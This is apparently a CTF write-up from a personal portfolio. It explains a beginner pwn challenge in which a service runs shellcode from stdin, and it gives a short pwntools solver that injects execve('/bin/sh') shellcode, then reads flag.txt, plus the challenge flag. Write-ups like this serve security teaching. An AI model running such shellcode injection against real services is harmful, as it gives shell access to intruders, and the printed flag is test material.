archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP

Grade 4 Technique

Your cursed technique has finally been approved for live demonstration. The evaluators have lowered their expectations accordingly. Try not to embarrass the CPU.

EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS250
shellcodex86-64

Walkthrough

Solution

The service maps a page with read, write, and execute permissions, copies up to 256 bytes from standard input into it, and calls the mapping directly. There is no shellcode filter, so ordinary amd64 execve("/bin/sh") shellcode is sufficient.

After the shell starts, request /flag (or the local flag.txt) to recover the challenge flag.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.arch = "amd64"
p = remote("localhost", 1349)
p.sendafter(b"Technique: ", asm(shellcraft.sh()))
p.recvuntil(b"Evaluation begins. Expectations remain manageable.\n")
p.sendline(b"cat flag.txt")
p.interactive()

Flag

SecurinetsENIT{gr4d3_4_t3chn1qu3_st1ll_g0t_4_sh3ll}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS